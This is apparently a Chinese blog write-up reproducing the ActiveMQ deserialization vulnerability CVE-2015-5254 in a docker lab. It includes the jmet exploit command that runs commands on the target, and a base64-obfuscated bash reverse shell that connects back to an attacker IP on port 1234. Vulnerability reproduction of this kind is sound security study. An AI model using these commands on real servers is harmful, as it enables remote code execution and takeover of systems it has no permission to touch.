ActiveMQ反序列化漏洞(CVE-2015-5254)
阿新 • • 發佈:2022-05-05
0x01漏洞概述
ActiveMQ Web控制檯分為三個應用程式,admin,api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;管理員和 API 需要先登入才能使用,檔案伺服器不需要登入。
fileserver 是一個 RESTful API 介面。我們可以通過HTTP請求(如GET,PUT和DELETE)讀取和寫入儲存在其中的檔案。設計目的是補償訊息佇列操作無法傳輸和儲存二進位制檔案的缺陷,但後來發現:
(1)其使用率不高
(2)檔案操作容易出現漏洞
因此,ActiveMQ預設在5.12.x—5.13.x中關閉了檔案伺服器應用程式(您可以在conf/jetty.xml中開啟它);在 5.14.0 之後,檔案伺服器應用程式將被完全刪除。在測試過程中,要注意ActiveMQ的版本,防止無用的費力。
0x02漏洞環境
1、開啟漏洞環境
docker-compose up -d
2、訪問漏洞
監聽8161和61616兩個埠,61616埠是工作埠,訊息在這個埠進行傳遞;8161是網路管理頁面埠訪問。
http://your-ip:8161
賬號:admin
密碼:admin
3、復現完成後,刪除漏洞環境
docker-compose down
0x03復現過程
1、漏洞利用工具下載地址:
Jmet下載地址
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
2、在攻擊機器上下載jmet檔案,在同級目錄下新建external資料夾
執行下列程式碼:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
執行結果如下:
執行成功之後,此時會給目標ActiveMQ新增一個名為event的佇列,看到該列的所有訊息,訪問這個網站:
http://your-ip:8161/admin/browse.jsp?JMSDestination=event
3、在kali中執行
sudo docker-compose exec activemq bash
然後執行
ls /tmp
4、將命令替換成彈shell語句再利用
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjE4LjI0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME your-ip 61616
執行結果如下:
利用靶機訪問該路徑:
http://127.0.0.1:8161/admin/browse.jsp?JMSDestination=event
結果如下:
再次執行:
ls /tmp